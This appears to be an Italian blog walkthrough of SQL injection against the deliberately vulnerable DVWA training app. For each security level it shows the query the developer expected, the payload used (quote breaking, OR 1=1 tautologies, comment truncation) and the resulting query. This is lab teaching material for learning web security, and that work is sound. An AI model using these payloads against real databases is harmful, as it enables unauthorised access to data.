fbpx
Home » Cybersecurity » DVWA su Kali Linux: Sql injection

SQL INJECTION

Low security

Primo payload

Yuri’

Cosa si aspetta il programmatore

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’

Inserendo l’apice, la query è diventata:

SELECT first_name, last_name FROM users WHERE user_id = ‘Yuri”; (che manda in tilt il database).

Secondo payload

1′ OR ‘1’=’1

Cosa si aspetta il programmatore

SELECT first_name, last_name FROM users WHERE user_id = ‘INPUT_UTENTE’;

Ecco come si trasforma la query finale con il secondo payload:

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ OR ‘1’=’1′;

Medium security

Il codice aggiuntivo del programmatore

mysqli_real_escape_string

Errore A nel codice sorgente

SELECT first_name, last_name FROM users WHERE user_id = $id;

Il payload che va inserito in 

<select name=”id”>

  <option value=”1″>1</option> qui diventa value=”1 OR 1=1″

  <option value=”2″>2</option>

  <option value=”3″>3</option>

  <option value=”4″>4</option>

  <option value=”5″>5</option>

</select>

Livello High

Limit a 1 per fare in modo che venga estratto al massimo un solo record alla volta.

$query  = “SELECT first_name, last_name FROM users WHERE user_id = ‘$idLIMIT 1;”;

Errore identico del livello low: input non sanificato:

<input type=”text” size=”15″ name=”id”>

Il payload del livello high

1′ OR 1=1 #

La nuova query con il payload

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ OR 1=1 #’ LIMIT 1;

Livello Impossible: non può essere violato

0 commenti

Invia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *